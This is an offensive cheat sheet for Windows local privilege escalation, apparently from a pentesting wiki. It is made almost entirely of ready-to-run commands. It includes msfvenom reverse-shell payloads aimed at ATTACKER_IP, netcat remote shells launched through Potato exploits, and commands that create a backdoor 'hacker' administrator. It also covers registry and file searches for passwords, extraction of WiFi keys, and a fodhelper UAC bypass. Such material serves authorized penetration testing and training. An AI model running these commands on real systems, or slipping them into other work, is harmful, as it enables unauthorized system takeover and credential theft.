Windows Privilege Escalation
Local privilege escalation on Windows involves exploiting misconfigurations, vulnerable services, and token manipulation to elevate from standard user to SYSTEM or Administrator.
Warning
Initial Enumeration
System Information
Check current user and privileges.
whoami /all
whoami /priv
whoami /groupsSystem information.
systeminfo
hostname
net user %username%
net localgroup administratorsCheck installed patches (for kernel exploits).
wmic qfe get Caption,Description,HotFixID,InstalledOnAutomated Enumeration Tools
WinPEAS
Comprehensive Windows privilege escalation scanner.
# Download WinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe -o winpeas.exe
# Run full scan
.\winPEASany.exe
# Run specific checks
.\winPEASany.exe servicesinfo
.\winPEASany.exe applicationsinfoPowerUp
PowerShell privilege escalation script.
# Import module
Import-Module .\PowerUp.ps1
# Run all checks
Invoke-AllChecks
# Specific checks
Get-UnquotedService
Get-ModifiableServiceFile
Get-ModifiableServiceSeatbelt & SharpUp
GhostPack enumeration tools.
# Seatbelt - comprehensive system survey
.\Seatbelt.exe -group=all
# SharpUp - quick privesc check
.\SharpUp.exe auditPrivescCheck
PowerShell alternative to WinPEAS.
Import-Module .\PrivescCheck.ps1
Invoke-PrivescCheck -ExtendedService Misconfigurations
Unquoted Service Paths
Find services with unquoted paths containing spaces.
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"PowerUp detection.
Get-UnquotedServiceExploitation: If path is C:\Program Files\Vuln Service\service.exe, create executable at C:\Program.exe or C:\Program Files\Vuln.exe.
Writable Service Binaries
Check for services with writable executables.
# Using accesschk (Sysinternals)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
# Check specific service
accesschk.exe -ucqv "VulnService" /accepteulaPowerUp - find modifiable service files.
Get-ModifiableServiceFileExploitation: Replace service binary with malicious executable, restart service.
# Create malicious service binary (msfvenom)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > malicious.exe
# Replace and restart
copy malicious.exe "C:\Path\To\Service.exe"
sc stop VulnService
sc start VulnServiceModifiable Service Configuration
Check if service configuration can be modified.
Get-ModifiableServiceExploitation: Change service binary path.
sc config VulnService binpath= "C:\Windows\Temp\malicious.exe"
sc stop VulnService
sc start VulnServiceDLL Hijacking
Find services loading DLLs from writable locations.
# Use Process Monitor to find missing DLLs
# Filter: Result = NAME NOT FOUND, Path ends with .dll
# Common hijackable locations
C:\Windows\Temp
C:\Users\Public
Current working directory of serviceCreate malicious DLL.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll > malicious.dllToken Impersonation (Potato Attacks)
Information
Check for required privileges.
whoami /priv | findstr -i "SeImpersonate SeAssignPrimaryToken"PrintSpoofer (Windows 10/Server 2019+)
# Get SYSTEM shell
.\PrintSpoofer.exe -i -c cmd
# Execute specific command
.\PrintSpoofer.exe -c "net user hacker Password123! /add"
.\PrintSpoofer.exe -c "net localgroup administrators hacker /add"GodPotato (Universal - Windows 8+)
# Execute command as SYSTEM
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c net user hacker Password123! /add"
# Reverse shell
.\GodPotato.exe -cmd "C:\Windows\Temp\nc.exe ATTACKER_IP 4444 -e cmd"JuicyPotato (Windows 7/8/Server 2008/2012/2016)
# Find valid CLSID for target OS
# https://github.com/ohpe/juicy-potato/tree/master/CLSID
# Execute with specific CLSID
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}SweetPotato
.\SweetPotato.exe -p cmd.exe -a "/c whoami"
.\SweetPotato.exe -p C:\Windows\Temp\nc.exe -a "ATTACKER_IP 4444 -e cmd"RoguePotato
# Requires attacker machine listening on port 135
# Attacker: socat tcp-listen:135,reuseaddr,fork tcp:TARGET:9999
.\RoguePotato.exe -r ATTACKER_IP -e "cmd.exe /c whoami" -l 9999Registry Misconfigurations
AlwaysInstallElevated
Check if MSI files always install with elevated privileges.
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedExploitation: Create malicious MSI.
# Generate malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi > malicious.msi
# Install as user (will run as SYSTEM)
msiexec /quiet /qn /i malicious.msiAutoRun Registry Keys
Check autorun locations for writable entries.
# Check Run keys
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Check for writable paths in autorun entries
accesschk.exe -wvu "C:\Path\From\Registry"Scheduled Tasks
List scheduled tasks.
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "task to run"Check for writable task executables.
# Find tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr -i "SYSTEM"
# Check if binary is writable
accesschk.exe -wvu "C:\Path\To\Task\Binary.exe"Credential Hunting
Search for passwords in files.
# Search common files
findstr /si "password" *.txt *.ini *.config *.xml
findstr /si "pwd" *.txt *.ini *.config *.xml
# Search registry for passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Check stored credentials
cmdkey /listCheck for saved credentials.
# Use saved credentials
runas /savecred /user:admin cmd.exe
# WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="ProfileName" key=clearUAC Bypass
Check UAC level.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdminUACME - UAC bypass tool collection.
# List methods
Akagi64.exe
# Execute bypass (method 23 = fodhelper)
Akagi64.exe 23 C:\Windows\Temp\malicious.exeFodhelper bypass (manual).
# Set registry key
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c start C:\Windows\Temp\malicious.exe" /f
# Trigger
fodhelper.exe